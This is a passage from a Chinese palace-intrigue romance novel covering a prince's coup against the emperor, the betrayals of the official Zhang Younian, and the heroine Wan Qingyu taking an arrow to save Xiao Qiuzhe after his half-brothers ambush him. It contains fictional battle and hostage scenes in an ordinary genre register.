“放开!”她冷声呵斥。 张攸年却将她的手强硬地按在自己心口上,道:“你摸摸看,这里也是会为你跳动的。你可以看不起我,但不能否认我的真心。” 晚青妤奋力抽手,他却纹丝不动,反而一只手捏住她的下巴,强迫她与自己对视。那双本就深邃的的眸子此刻满是侵略性。 “张攸年。” 晚青妤气得双眼发红,眼中泛起泪光。 张攸年看着她,看着她满是惊慌的样子,皱了下眉头,眼中疯狂之色渐渐褪去,松开她,沉声道:“放心,我不会像付钰书那样逼你。不过看你这个样子,我倒有些等不及了。” 晚青妤不明白他在说什么,转身出了房间。她一路疾奔出府,方于见她眼眶通红,急问:“夫人,他可曾伤你?” 晚青妤摇摇头,留下一句“盯紧他”,便上了马车。 晚青妤走后,张攸年便去找萧亲王。 张攸年踏入萧亲王书房时,萧亲王萧敖正执壶斟茶。见他进来,萧亲王含笑抬手示意:“张大人来了,快请坐。” 茶香氤氲间,张攸年直入正题:“王爷,宫中已安排妥当,七日后便可动手。如今朝堂因付家之事闹得不可开交,多位大臣又因太后干政之事上奏,正是天赐良机。” “临城通州那边已打点完毕,三日后会有兵变,届时京城内外交困,王爷只需率兵直取皇城,里应外合,大事可成。” 萧敖静静听完,沉声道:“张大人办事,本王甚是放心。只是兵部那边,秋折始终不肯松口。虽有些旧部听命于我,却怕他从中阻拦。” 张攸年早有所料,道:“世子性情刚直,强求不得。王爷不如将他暂且调离京城,既免了冲突,也是为他好。待王爷登基,他便是太子,日后自会明白王爷苦心。” 萧亲王沉吟良久,终是颔首:“也罢,此事确实不便让他参与。张大人此番筹谋,功不可没。待本王登基,朝中官职,任你挑选。” 张攸年立即躬身行礼:“微臣定当竭尽全力,辅佐王爷成就大业。” 三日后,通州果然风云突变。几位年迈的将军率领旧部揭竿而起,高举“清君侧”的大旗。消息传至御前,皇上震怒,当即调派重兵前往镇压。 与此同时,京城内亦暗流涌动。不知从何处聚集的百姓突然在城中大街集结,高呼“诛除付家,还我公道”的口号。坊间流言四起,皇家纵容付家思想传播 ,蛊惑民心。一时间,城内城外,一片混乱。 第七日,萧亲王亲率精锐铁骑,夜袭皇城。 第70章 第70章攻打皇宫。 这一战来得极快,自通州起兵,一路势如破竹,直逼宫门。城中百姓尚在梦中,忽闻杀声四起,惊惶闭户,不敢窥探。 那些随萧敖攻城的将士,个个骁勇异常,刀光凛冽,竟不似中原之人,所过之处,无人可挡。 晚青妤闻讯,心头骤紧。此事来得突然,竟无半点风声,连萧秋折亦未曾向她透露半分。这些日子,他行踪不定,只道是忙于要事,却不想,竟是这般惊天之举。 她不敢耽搁,当即命人紧守亲王府,又匆匆赶往外祖母家,将她接回晚府安置,再调府中护卫严加防守,叮嘱众人不得外出。待一切安排妥当,她急急折返亲王府,唤来方于,命他速寻萧秋折。 方于领命而去,许久后便回,面色凝重:“少夫人,公子寻不到。” 晚青妤指尖微颤,心口发紧。萧敖既已攻入皇城,此刻宫中必是血火交织,萧秋折人在何处?可还安好? 方于低声劝道:“少夫人,皇城已乱,不如属下先护送您出城暂避?” 晚青妤摇头,在房中来回踱步,心绪翻涌如潮。 此事萧秋折竟未与她商议半分,亦未曾遣人传信令她出城避难。她不能走,也不愿走,她定要等萧秋折回来。 皇宫,萧敖亲率精兵,先遣一部人马将宫城围得铁桶一般,继而亲领铁骑破门而入。虽他已年逾不惑,身披玄甲策马而行,端的是龙骧虎步,威风不减当年。 铁蹄踏过丹墀,直逼金銮大殿。未及殿前,却见御林军如潮水般涌出,将叛军团团围住。金戈映日间,玉麟将军护着圣驾缓步而出。 皇上竟也一身戎装,长剑在手,立在阶前冷笑道:“三弟啊三弟,这么多年过去,你还是这般意气风发。怎么,今日是打算取朕项上人头,好继承这九五之位?” 萧敖勒马环视,但见宫墙之上骤然现出无数弓箭手,寒光凛冽的箭镞齐齐对准了他。原以为是出其不意的奇袭,却不料早落入彀中,皇上分明是早有准备,就等着他入内。 “呵!”萧敖忽然轻笑出声,面对这重重杀机,竟是从容不迫地整了整腕甲:“皇兄此言差矣。当年败在你手,今日该讨回来的,本王一样都不会少。” 皇上眯起凤眸:“哦?朕倒要看看,三弟如何讨法?” 皇帝负手而立,声音陡然转厉:“你身为亲王,本该尽心辅佐朕治理天下,如今却为一己私欲起兵造反,置黎民百姓于何地?今日朕就要替天行道,诛杀你这乱臣贼子!” 话音未落,皇上一挥龙袖,城墙上万箭齐发,如暴雨般倾泻而下。萧敖却是不慌不忙,一声令下,麾下将士立时变换阵型,铁骑如洪流般冲向禁军。刀光剑影间,忽见后宫方向火光冲天,火势迅速蔓延至大殿,将半边夜空映得通红。 萧敖所带兵将虽是不多,却个个都是以一当十的虎狼之士。眼看就要突破禁军防线,忽闻城门洞开,又一支大军如潮水般涌来。为首之人身披明光铠甲,胯下骏马嘶鸣,正是吏部尚书张攸年。 张攸年横刀立马,阴鸷的目光穿过战场直射而来:“王爷,下官奉皇命在此恭候多时了。” 萧敖勒马回身,剑锋所指之处,血染宫砖。他望着新到的援军,唇角却勾笑:“张大人来得正好,本王正愁这场戏唱得不够热闹。” 萧敖在朝堂之上是何等人物?自幼长于深宫,历经前朝夺嫡之争,文能提笔安天下,武能上马定乾坤。当年若非因那桩风流公案被群臣谏阻,如今端坐龙椅之上的,又岂会是他人? 此人城府之深,心思之缜密,犹如一只蛰伏多年的老狐。朝中众人是忠是奸,是正是邪,在他眼中皆无所遁形。那张攸年虽颇有才干,平日里在他跟前极尽谄媚之能事,一言一行皆做得滴水不漏,可这般做派,又岂能瞒得过他的眼睛? 原本他并不欲与张攸年虚与委蛇,然则欲成大事,总需这等人物作为进身之阶。况且有张攸年在明处周旋,反倒能替他遮掩暗中的筹谋。 他心知肚明,张攸年乃是皇上安插在他身边的眼线,此人不过是个见风使舵的墙头草,一朝得势便想着左右逢源。 更可笑的是,张攸年竟以为他会轻信一个二品大员会放着圣眷隆恩不要,反倒来辅佐他这个亲王谋夺大位?当真是把他想得太蠢了些。 这便是一场局中局,套中套。萧敖早料定张攸年会在攻城之际临阵倒戈,果不其然。 张攸年自然也是做足了准备。此刻见萧敖神色自若,心知自己的心思怕是早已被看穿。但他扬声道:“下官惭愧,虽与王爷相交多时,但为社稷黎民计,今日不得不诛杀逆贼。” 逆贼? 萧敖冷笑:“张大人果然不负本王所望,当真是有些本事在身上的。皇上这般信任你,派你来我身边做奸细,倒是选对了人。说来惭愧,本王确实曾为张大人的‘赤诚’所动。可惜啊……” 萧敖话音未落,忽闻天际一声炸响。刹那间,皇城内外黑影幢幢,无数身着玄甲、面覆黑纱的死士如鬼魅般现身,将宫城围得水泄不通。铁蹄声震,又一支神秘军队自四面八方涌来,刀戟如林,直逼金銮殿前。 两军相接,顿时杀声震天。刀光剑影间,火把坠地,点燃了宫帷帐幔。宫中顿时大乱,宫女太监四散奔逃,珍玩器物散落一地。 就在这混乱之际,慈宁宫外闪过一道黑影。方奇身着夜行衣,面纱遮容,借着火光阴影潜入院落。他轻车熟路地摸到内室,只见小皇子正蜷缩在锦被之中。 “殿下莫怕。”方奇压低声音,将他裹进斗篷,“属下带您离开这里。” 他说罢纵身一跃,抱着小皇子隐入夜色之中,只余宫墙外渐行渐远的马蹄声。 烽火连天,硝烟蔽日。这场厮杀持续了两日一夜,整个皇城内外尸横遍野,血染朱墙。张攸年确实武功不凡,率领亲兵与萧敖麾下将士殊死搏杀,刀光剑影间竟隐隐占了上风。 暮色四合之时,战局眼看就要尘埃落定。就在张攸年以为胜券在握之际,忽闻城外传来震天动地的铁蹄声。一支精锐铁甲军如洪流般涌入皇城,所过之处势如破竹。为首之人银甲映血,手持长剑,正是萧秋折。 张攸年抬眼望去,只见萧秋折转眼间已杀至近前。 两人在烽火连天的战场上四目相对,张攸年眉头紧锁,手中长剑不由握紧三分。 萧秋折却只是冷冷一笑,剑锋所指:“张攸年,我警告过你,适可而止,可你偏不听。” 张攸年紧压眉头,手中缰绳猛地一勒。他早料到萧秋折会率最后一支奇兵突袭,却不想来得这般迅疾。两匹战马在硝烟中对峙,相距不过数丈之遥。 “萧秋折。”张攸年嘴角噙着冷笑,“情场上我输你一筹,可这战场上未必如你所愿。” 张攸年亦是个聪明之人,早已料到萧秋折会帮助他父亲攻打皇城,毕竟他也忍辱负重了这么多年,只是以前没有这个机会罢了。 萧秋折不愿与他多言,袖中暗器倏然而出,三枚飞镖破空而去。张攸年身形急转,堪堪避过这致命一击。 二人当即战作一团,刀剑相向,竟是难分高下。 萧秋折这支铁骑虽人数不多,却个个都是百战精锐。正厮杀间,忽闻宫门轰然紧闭,四周高墙骤然竖起石墙。城外更有无数火石如流星般砸落,转眼间整座皇城已陷入滔天火海之中。 张攸年见势不妙,急令亲兵撤退。待奔至宫门前,却见千斤闸已然落下,那玄铁铸造的闸门厚重非常,任是刀劈斧砍也纹丝不动。他踉跄后退数步,仰首望去,只见皇上正立于城楼之上,玄色龙袍在火光中明亮的晃眼。 “陛下,快开城门。”张攸年高声喊道,“末将愿率军 突围。” 而皇上却只是冷冷睨了他一眼,抬手轻挥。霎时间,城墙上一排排弓箭手张弓搭箭,寒光凛凛的箭镞尽数对准了他。 张攸年心头大震,这才惊觉自己亦入了皇上的局。 箭雨倾泻而下之际,他慌忙策马闪避。忽一个火球轰然砸落,瞬间引燃了他的战袍。他仓皇扑打着身上火焰,带着残部在火海中左冲右突。 然而火势愈演愈烈,漫天火石如雨点般砸落。整座皇城已成炼狱,浓烟蔽日,哀鸿遍野。 萧敖与萧秋折,俱是心头一凛。火光映照下,二人皆明白此乃皇上设下的天罗地网。 “破门。”萧敖一声令下,众将士蜂拥而上。然而千斤闸门纹丝不动,火石如雨倾泻而下,将数名兵卒砸得血肉模糊。 萧秋折翻身下马,一个箭步冲至石门前,运起全身内力,青筋暴起:“起!” 众将士见状,纷纷上前助力。可那石门依旧岿然不动。正在此时,忽见张攸年率亲兵疾步而来,手中铁盾高举:“掩护他们。” 数十面铁盾瞬时架起,在众人头顶形成一道屏障。火石砸在盾上,发出震耳欲聋的轰鸣。 “再试一次。”萧秋折咬牙喝道。众人齐声发力,石门终于发出“吱呀”声响,露出一线生机。 可缝隙之外,寒光凛冽。无数弓箭手早已列阵以待,箭尖直指城门。 张攸年眸光一闪,突然抓住萧秋折手腕:“走。” 不待萧秋折反应,张攸年便拽着他从那缝隙中闪身而出。萧秋折只觉眼前一花,耳边传来张攸年低沉的声音:“我中了皇上的算计,你我休要纠缠,活命要紧。” 二人甫一出门,果见御林军如潮水般涌来。城墙上投石机轰鸣不绝,火球划破夜空,将皇城映照得如同白昼。 张攸年突然横剑在萧秋折身前,沉声道:“你先走,我掩护你,照顾好晚青妤。” 张攸年知晓此等情况下,无论哪一方胜利他都活不成。当初他答应皇上潜伏在萧敖身边,是答应皇上接机铲除整个亲王府,而皇上所许诺的便是留晚青妤一命让他带走。 但是君心难测,此时方才领悟到萧秋折那日在乔家大院与他说的话,君王以及朝臣怎能是他轻易左右之人。 果然,一个无家族支撑亦无势力的人,即便费尽心机爬到如今这个位置,到头来依旧是别人利用的把子,甚至,萧敖一开始就猜出了他的目的,而皇帝早已做好利用完杀人灭口的准备。 此时的他,只觉得可笑,亦觉得自己可笑。 在张攸年的掩护下,萧秋折翻身上马顺利杀出重围,但他并未去亲王府找晚青妤,而是直奔西郊与陆临率领的塞北铁骑会合。 张攸年见他改道往西而去,也奋力杀出重围,骑上快马直奔亲王府。到了亲王府,却发现空无一人。他又立即赶到晚府,而晚府也无一人身影。 他没有找到晚青妤,看来萧秋折早就做好了准备。 此时,皇城之中,皇上正自得意于这天衣无缝的布局,以为此番定能将萧敖等人一网打尽。却不料城外突然杀声震天,萧秋折竟与陆临率领陆府亲家众将,并朝中几位忠勇将领,合着塞北铁骑厮杀而来。 这些塞北勇士与中原将士大不相同,个个身形魁梧,力大无穷。手中弯刀寒光凛冽,所过之处血溅三尺,竟无一人能挡其锋芒。更令人心惊的是,这些塞北战士刀法诡异,招招致命,皇城守军节节败退。 皇上在城楼上看得分明,脸色骤变。要知塞北与中原素有约定,向来井水不犯河水,塞北铁骑更是百年未曾踏足中原半步。如今萧秋折竟能率领如此众多的塞北勇士长驱直入,实在令人心惊。 原是陆家与塞北早有渊源,陆临身上流着一半塞北王族的血。 皇上当真是千算万算,终究漏算了这一层关系。他眼见塞北铁骑势如破竹,心中不由大骇,这场精心布置的局,怕是要被这突如其来的变数彻底搅乱了。 这场血战又持续了一天一夜,最终以萧敖与萧秋折大获全胜告终。皇上被生擒,皇后、太后、太子等一干皇室成员尽数被囚。谁能想到,这场皇权之争,竟在短短数日间便尘埃落定? 战后皇城内外,尸横遍野,血流漂杵。被安置在安全之处的晚青妤得知战事已毕,既喜且忧,顾不得许多,便让方于护送她前往战场寻人。 甫至城门,只见遍地狼藉。萧敖身负重伤,却仍强撑着指挥众人收拾残局。 晚青妤环顾四周,却不见萧秋折踪影,心头顿时一紧。 “你怎么来了?”陆临见她到来,忙擦了擦手上血迹,“此地血腥气重,实在不宜久留。” “萧秋折呢?”晚青妤声音发颤,“他可曾受伤?为何不见人影?” 陆临见她神色焦急,道:“他去追张攸年了。那人狡兔三窟,在东山还藏了一支私兵。萧秋折担心他日后生乱,便亲自带人去追了。” 晚青妤闻言心头更紧:“可知他往何处去了?” 陆临摇头:“我们只查到他在东山藏兵,之后去向便不得而知了。萧秋折说,此人留着终是祸患,定要将其擒获。” 晚青妤攥紧衣袖,她深知张攸年此人狼子野心,原本是想借机扳倒王爷铲除亲王府,如今计划败露,带着残部逃窜,还不知会做出什么疯狂之事。 陆临见她神色惶然,轻笑一声,将染血的长剑归鞘,道:“你别太担心,千军万马都奈何不得他,区区一个张攸年,又能翻出什么浪来?况且方奇他们还带了一队精锐随行,不会有事的。” 晚青妤仍不放心,眉头紧蹙。 陆临见状,低声劝道:“此地血腥气重,不宜久留。如今王爷即将登基,亲王府上下需得整顿,这几日恐怕会有人不安分,还需你回去盯着点。” 晚青妤点头:“那好,我这就回去。” 晚青妤回了亲王府,仍是坐立难安。她辗转难眠,直到天光微亮才勉强合眼。 这一夜,她竟又梦到那条漫长的路,萧秋折背着她,一步一步往前走。他的身子冰冷刺骨,任凭她如何暖也暖不热,怎么唤他也不应。她心中惶急,伸手去抓他的衣袖,却只抓到一片虚无。 她猛然惊醒,冷汗涔涔,心口也狂跳不止。 她再也按捺不住,立刻唤来方于:“你带人再去寻,务必找到萧秋折。” 方于领命而去,寻找一天才回来,却是摇头道:“少夫人,属下带人搜遍了城内外,都未寻到公子踪迹。” 又过了一日,仍寻不到萧秋折,晚青妤心中忐忑难安,便让方于带她外出寻找。 见不到人她始终不放心,总觉得会有大事发生。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-76 第71章 第71章【重要一章,一定要看】…… 一片荒林中,萧秋折率领亲兵穿行,他们一路从京城追到这里,突然没了张攸年的踪影。 这片树林很大,还未等他们出去,忽闻林间一阵作响,接着四周骤然现出数十名黑衣箭手,将他们团团围住。 “小心。”萧秋折厉声喝道,话音未落,箭雨已倾盆而下 。 箭矢破空,马匹中箭惊蹶,将士们纷纷坠地,林中顿时乱作一团,萧秋折勒马回旋,长剑格开数支夺命箭矢。 “有埋伏。”方奇挥刀护在萧秋折身前,却被一箭射中肩胛,闷哼一声跪倒在地。 刀光剑影间,四周亲兵接连倒下,最终只剩萧秋折与方奇等寥寥数人仍在拼死抵抗。方奇肩头已中两箭,鲜血浸透衣衫,却仍咬牙挥剑,护在萧秋折身前。 “公子快走。”方奇嘶声喊道,一剑劈开迎面射来的箭矢,“我来断后。” 萧秋折眸色凛然,反手斩落一支箭:“要走一起走。” 留下方齐,只有死路一条。 他话音未落,忽听头顶哗哗作响。突然一张精铁打造的巨网从天而降,将二人兜头罩住。网绳骤然收紧,顿时他们凌空吊起。 “卑鄙。”方奇在网中挣扎怒骂,“张攸年这厮竟使出如此下作手段。” 萧秋折冷眼望向林间:“不是张攸年。” 方奇顺着他的目光看去,但见林深处缓步走出两道熟悉身影。待看清来人面容,方奇惊道:“二公子,三公子?” 那二人锦衣华服,正是萧秋折的两位庶弟萧郢和萧絮。 方奇顿时恍然,如今王爷即将登基,萧秋折作为嫡长子,必被封为太子。若他此刻殒命,那么太子之位就会落到萧郢身上。 “好一个兄弟阋墙。”方齐在网中冷笑,“为了储君之位,二位真是煞费苦心。” 在这天家皇族之中,兄弟阋墙、骨肉相残原不是什么稀罕事。只怪他们当时一心助王爷攻城略地,竟未防着这两位兄弟会如此迫不及待,在这荒郊野岭布下杀局。想来从他们出城追击张攸年时,这二人便已暗中尾随,伺机而动。 铁网悬于古树之上,随风轻晃。方奇强忍眩晕,见萧家两位公子步步逼近,强撑着笑道:“二公子、三公子,如今皇城初定,百废待兴。不如放了我们,一同回京整顿朝纲。届时王爷论功行赏,二位公子必得重用。” 萧絮把玩着腰间玉佩,慢条斯理道:“方侍卫倒是忠心。可惜啊,太子之位只有一个。只要大哥还在,就永远轮不到我们。” 萧郢更是直接抽出佩剑,冷着面容对萧秋折道:“大哥莫怪我们心狠。要怪就怪你并非父亲亲生骨肉。这些年来父亲待你视如己出,甚至将世子之位都给了你。可这江山社稷,岂能交到一个外人手中?” 此言一出,萧秋折瞳孔更是漆黑,这段时日,关于他身世的流言蜚语早已在京城传得沸沸扬扬。虽心中郁结,但为助萧敖争夺皇位,他一直隐忍不发。此刻亲耳听闻兄弟这般言语,心头泛起酸楚。 他与父亲是否血脉相连,经年累月下来,于他而言早已不再重要。这短短二十余载,他历尽沧桑,少年锐气早被世事磨平。此刻虽怒意翻涌,却只是淡淡扫了萧郢一眼,未露半分异色。 方奇却已按捺不住,厉声喝道:“二公子休得胡言,这分明就是有人栽赃陷害。” 萧郢冷笑一声,自袖中抽出一柄寒光凛冽的匕首:“是真是假已不重要。只要大哥尚在人世,这太子之位终究与我们无缘。今日在此了结,往后便再无后患。” “呸!”方奇怒极反笑,“就凭你们这等宵小之辈也配觊觎储君之位?二公子可曾扪心自问,你们兄弟二人可有一星半点的真才实学?” “放肆!”萧郢厉声冷喝,“你算什么东西,也配在此胡言乱语。” 他话音刚落,猛然欺身上前,手中匕首狠狠刺入方齐肩胛。 方齐闷哼一声,身形微晃,却仍吐了一口。 “萧郢。”萧秋折见他伤了方齐,冷声道:“有话就说,休要伤人。” “事到如今,还有什么好说的?”萧郢手臂一动,那匕首已深深没入萧秋折大腿,鲜血顿时喷涌而出。 萧秋折额角青筋暴起,却硬是咬紧牙关未发一声。 萧郢却似疯魔般拔出匕首,又接连在萧秋折右肩、右胸捅了两刀。鲜血如注,顺着铁网滴落,在枯草地上绽开朵朵猩红。 “大哥。”萧絮摇着折扇,踱上前来,“二哥的脾气你是知道的。他若真动起怒来,只怕你今日真要命丧于此了。我劝你还是识相些。若你肯主动让出太子之位,二哥或许还能留你一条性命。” 萧絮是三兄弟中最善左右逢源之人。平日里只知寻欢作乐,既不通武艺,也无心朝政。只要不波及他的富贵闲适,这位“大哥”是死是活,他并不在意。 萧秋折冷眼扫过萧絮,心知他不过是在说风凉话。当下屏息凝神,暗中蓄力,只待时机突围。 “不必与他废话。”萧郢自幼就讨厌萧秋折,因为萧秋这些年出尽了风头,还在亲王府压得他们不能翻身,他早就想让这个来历不明饿兄长消失了。他手中匕首寒光一闪,竟直直刺入萧秋折肩头。 只听“噗嗤”一声,鲜血又不住地往下滴。 “住手。”方奇目眦欲裂,“有本事冲我来,别伤我家公子。” 萧郢充耳不闻,匕首再度举起,直取萧秋折心口。萧秋折见他刺来,猛然动身,狠狠撞向萧郢。他这一撞势大力沉,不仅将匕首震落在地,更将萧郢撞得踉跄后退数步。 萧郢站稳身子,冷笑一声,弯身拾起跌落在地的匕首:“大哥当真了不起,儿时就很抗打,现在也一样,小时候我就在想,这样一个总是遍体鳞伤的人,怎么一直不死呢?” 萧秋折是萧郢见过命最硬的人。 他高举匕首,正要再次刺下,忽听一声清喝:“住手。” 声音传来众人皆是一怔。 萧秋折立即抬眸望去,只见一袭粉衫的晚青妤从马车上跳下,将被绳子捆绑的江侧妃拽下车来,然后你把推给身旁的方于。方于立即反剪江侧妃双臂,将利刃抵住她的咽喉。 “青妤……”萧秋折喉头滚动,伤口处的鲜血汩汩而下,却在这一刻全然忘却了疼痛。 晚青妤望见铁网中血迹斑斑的他,眼中瞬间盈满泪水。她强忍哽咽,冷眼睨向举刀欲刺的萧郢:“你再敢动他分毫,我便让你母亲血溅当场。” 萧郢手中匕首僵在半空,见生母被人所制,脸色骤变。 几个时辰前,晚青妤正欲与方于出府寻人,忽见萧盈慌慌张张地往府外跑,她一把拦住问道:“妹妹,出什么事了,怎么如此慌张?” 萧盈眼神闪烁,支支吾吾不敢作答,稚嫩的脸上满是惊惶。晚青妤攥住她的手腕:“外头兵荒马乱,你一个女孩子怎能乱跑?快告诉嫂嫂,到底怎么了?” 萧盈不过十五六岁的年纪,遇事性子胆怯,被晚青妤连声追问,终于带着哭腔道:“我、我也不清楚,母亲让我去外祖家寻舅舅帮助两位哥哥。” 晚青妤心头一紧:“你两位哥哥现在何处?” 萧盈茫然摇头,泪水在眼眶里打转:“我不知道,今早母亲就心神不宁,外头在打仗,也不知兄长们是受伤了还是怎么了。” 晚青妤刚从战场归来,却未见萧家两兄弟踪影,心中顿生不祥。她当即命人看住萧盈,立即带着方于直奔侧妃院落。 院内,侧妃正焦灼地来回踱步,手中帕子绞得死紧。见晚青妤突然闯入,她脸色骤变:“你干什么?” 方于一个箭步上前,扣住侧妃手腕:“侧妃娘娘,外头不太平,为保周全,还请随我们走。” “放肆!”侧妃厉声呵斥,“你们这是要造反不成?” 晚青妤不与她多言,示意玉儿取来绳索。侧妃挣扎间,终究被捆了个结实,塞进马车。 途中,方于持刀相逼,侧妃这才吐露只言片语。顺着线索寻来,果然在这荒林撞见萧家兄弟正对萧秋折行凶。 晚青妤望着铁网中一直流血的萧秋折,心如刀绞。 “放了我娘亲。”萧郢突然暴起,一把扯住铁网,匕首直抵萧秋折心口,“否则我现在就让他死。” 晚青妤见刀抵在萧秋折心口,心头猛地一颤,强自镇定道:“你先放人,我自会放了你母亲。萧郢,萧秋折与你无冤无仇,为何要残害手足?” 萧郢闻言冷笑,手中匕首又往前送了半分:“手足?你不如去问问父亲,他究竟是不是我的亲手足,我绝不容许一个来历不明的野种染指太子之位。” “野种”二字刚落,铁网中的萧秋折猛然暴起,铁链哗啦作响:“萧郢,你找死。” “我找死?”萧郢狞笑,“你是不是父亲的孩子,大可以去问他。” “不必问了。”侧妃突然尖声打断,“他确实不是王爷亲生,当年王爷出征在外,他的母亲与小叔子私通才有了他。这样一个孽种,也配……” “住口,无凭无据也敢污蔑。”晚青妤厉声喝止,方于手中匕首在侧妃颈间划出一道血痕。 萧郢握剑的手青筋暴起,骨节咯咯作响。他死死 盯着被制的母亲,又看向网中的萧秋折,眼中挣扎之色愈浓。 “二哥。”萧絮焦急地在一旁道,“快放了他,先救母亲要紧。” 萧絮素来不谙权谋,哪里懂得萧郢此刻的煎熬。只要萧秋折一死,太子之位唾手可得,可若不顾母亲性命,便是大不孝之罪。 萧絮见兄长迟迟不动,急得双目赤红:“二哥还在等什么?快放了他们救母亲啊!” 他说罢竟夺过侍卫佩刀,挥刀斩断悬网的绳索。 萧郢见状,箭步上前扣住坠落的萧秋折,刀子抵住其后心:“晚青妤,你先放人。” 他的反应很快,也顾不得去骂愚蠢的萧絮。 一旁的方齐,刚从网中挣脱,还未来得及动作,便被一箭射中膝盖,闷哼跪地。四周弓弦紧绷,齐刷刷对准他们,只待萧郢一声令下。 晚青妤指尖发颤,却不肯放人。两方僵持不下,谁都不肯先退一步。萧郢眸中暗潮汹涌,一手钳制萧秋折,一手匕首紧贴其背心,只要稍一用力,便能取他性命。 萧秋折环视四周,见弓弩手已将众人团团围住。他心知此刻若轻举妄动,不仅自己难保,晚青妤等人亦会命丧当场。这萧郢为夺储君之位,怕是连生母性命都能舍弃。 “你先放人。”萧郢又逼近一步,刀刃已刺破萧秋折衣衫。 方于见状,也将匕首往侧妃颈间又抵近三分。 晚青妤道:“要么同时放人,要么你先放,你母亲含辛茹苦将你养大,莫非你为夺储位,连生母性命都不顾了?” 萧郢眉头紧锁,额角青筋暴起。良久,他终于咬牙道:“好!一起放人。” 晚青妤眸光清冷:“让你的人全部退下,待我们上了马车,自会放人。” 萧郢不想她还有条件,面色阴晴不定,终是抬手一挥,四周弓箭手皆是退去。他钳制着萧秋折缓步向前,每一步都踏得极重。方齐强忍腿伤,踉跄着护在晚青妤身侧,三人一步步退向马车。 “少夫人先上车。”方齐低声道,眼角余光却瞥见萧郢眼底翻涌的杀意。那目光如淬毒的刀刃,分明存着赶尽杀绝的心思。 晚青妤未动,抬眸直视萧郢,道:“这方圆十里都是你的人,我如何信你?前方五里处有座小镇,我们退到那里再交换人质。你的人……” “休想。”萧郢厉声打断,他手中匕首又往前送了几分,萧秋折后背顿时洇开一片血红,“别耍小聪明,即可放人。” “别伤他。”晚青妤见状急得眼泪瞬时落了下了。 “青妤,上车先走。”萧秋折强忍剧痛,声音嘶哑,“把人放了。” 只要她能脱身,他与方齐、方于尚有一线生机。 晚青妤强忍着眼泪,没有回答,她看出萧郢眼中亦有挣扎之色,便道:“萧郢,我们同时放人。你妹妹萧盈还在亲王府,若我们有半点闪失,她也别想活命。” “三妹?”萧絮闻言惊道,“你不可以伤我三妹,她年纪还小。” 萧絮最疼爱这位妹妹,不想晚青妤竟然也挟持了她。 现在是两命换一命,萧郢终是咬牙道:“好,数到三,一起放人。” —— 远处道上,张攸年率领残部向东疾驰。他频频回首,却始终未见萧秋折追兵踪影,眉头不由越皱越紧。 张攸年心知今日从皇城突围后,已是在劫难逃。他匆忙赶往东山,欲调动私藏的精兵寻个安身之所,却不料被萧秋折率兵穷追不舍。 行至半途,他忽觉有异,身后追兵竟不知所踪。勒马回望,林中寂静得反常。他心头警觉,立即调转马头折返探查。 刚近林边,一抹粉衫倩影倏地映入眼帘。定睛细看,竟是晚青妤,且方于正挟持着江侧妃,与持刀威胁萧秋折的萧郢对峙。双方剑拔弩张,正在交换人质。 “一,二,三。” 萧郢和晚青妤同时数数,数到三声时,方于刚松开侧妃,萧郢却突然反悔,猛地拽住萧秋折衣襟。萧秋折眉头一皱,反手一掌劈在萧郢腕上,匕首“锵啷”落地。 晚青妤正要上前拽住放走前跑的江侧妃,结果一道黑影倏地掠过,将江侧妃劫至一旁。 “青妤。”萧秋折见状,一脚踹开萧郢,急身上前护住晚青妤。 而这时,突然一支箭破空而来,直向萧秋折后心射去。 “萧秋折。”晚青妤见状惊呼一声,毫不犹豫地旋身将萧秋折护在怀中。 只听“噗”的一声闷响,那支飞来的利箭,深深地射入她的后背。 “青妤!” 萧秋折双手一僵,只觉怀中人儿浑身剧颤,整个人向下软倒下来。他慌忙捞住,惊慌间,只见晚青妤后背中箭,已是鲜血直流。 晚青妤颤抖着抬起手,抓住萧秋折的胳膊,她想说什么,还未说出口,却猛地咳出一口鲜血。 “青妤!” 此时,四周杀手已如潮水般涌来,箭雨铺天盖地。方奇与方于拼死抵挡,却仍是险象环生。 远处的张攸年见此情形,心头猛地一揪。他眼看着晚青妤为萧秋折挡下了致命一箭,整个人都僵住了。 待反应过来,他立即厉声喝一声“救人”,便率领亲卫冲杀过去。 萧郢眼看就要活捉几人,没想到张攸年突然杀了过来。两方人马一阵向杀。 萧秋折颤抖着将晚青妤搂在怀中,大颗大颗的泪珠砸在她越来越苍白的脸上。 晚青妤伏在萧秋折怀中,只觉得后背的伤口疼得钻心蚀骨,连呼吸都带着血腥气。她强撑着抬起眼帘,望着萧秋折滚落的泪水,每一滴都似砸在她心口上。 此时张攸年匆忙跑来,见晚青妤背上那支箭已没入大半,顿时眼眶发热。这一箭若是伤及心脉,怕是没命了。 “青妤。”他颤声唤她。 晚青妤没有看他,只是望着萧秋折,气若游丝道:“萧秋折,别,别哭,我没事。” 她并不觉得自己会死,忽然想起最近接连做的那个梦,也许,这就是萧秋折最后一次劫难,还好,她帮他挡下了。 萧秋折几近崩溃,哽咽道:“你怎么这么傻,谁准你为我挡箭的,你知不知道这样会死的。” 泪水还在不停地落。 晚青妤勉力抬起手,指尖触上他的脸颊,努力道:“我不傻。萧秋折,我爱你,我可以为你死。” 我可以为你死。 我可以为你死。 就这一句,生生将萧秋折击得粉碎,他再也抑制不住,落着眼泪哽咽道:“我知道,我知道。” 可他又怎么值得让她付出生命呢? 他小心翼翼地将她抱起,快步向马车走去。 “公子,这些人……”方于红着眼问道。 此时,张攸年带来的人马已经压制住对方,不仅擒获了萧郢、萧絮,连侧妃也一并拿下。 萧秋折顿了下脚步,转头看了一眼张攸年:“交给他。” 此刻他满心满眼只有怀中奄奄一息的晚青妤,他很后悔,若非自己执意追赶张攸年,她也不会过来寻他而受伤。 张攸年望着晚青妤不断渗血的伤口,攥紧的拳头指节发白:“往东五里有个村子,那里应有郎中。快带她去,这里交给我。” 萧秋折抱着晚青妤上了马车,方于扬鞭策马,疾驰而去。 张攸年望着渐远的马车,抬手擦了下眼角的温热。转身走到萧郢跟前,寒光一闪,匕首已没入其腹中。 “这一刀,是为了晚青妤。”他声音冷得像冰,“想做太子?想当皇帝?” 他猛地拔出匕首,又狠狠刺入萧郢心口:“到阴曹地府去做吧!” 萧郢双目圆睁,还未及出声便已气绝。 一旁的侧妃发出撕心裂肺的哭喊:“郢儿,我的郢儿。” 她扑上前来,十指如钩想要抓挠张攸年:“你为何要杀我儿?” 张攸年侧身避开,冷眼睨着她:“为何?只要你这双儿子活着,便是萧秋折的心腹大患,也会阻碍他坐上太子之位。” “你以为,当年你构陷他生母嫁入亲王府的事,当真无人知晓么?她人死了,你还要 到处散播污言秽语,并且栽赃到我的头上,让晚青妤误会我。事已至此,你也认命吧!” 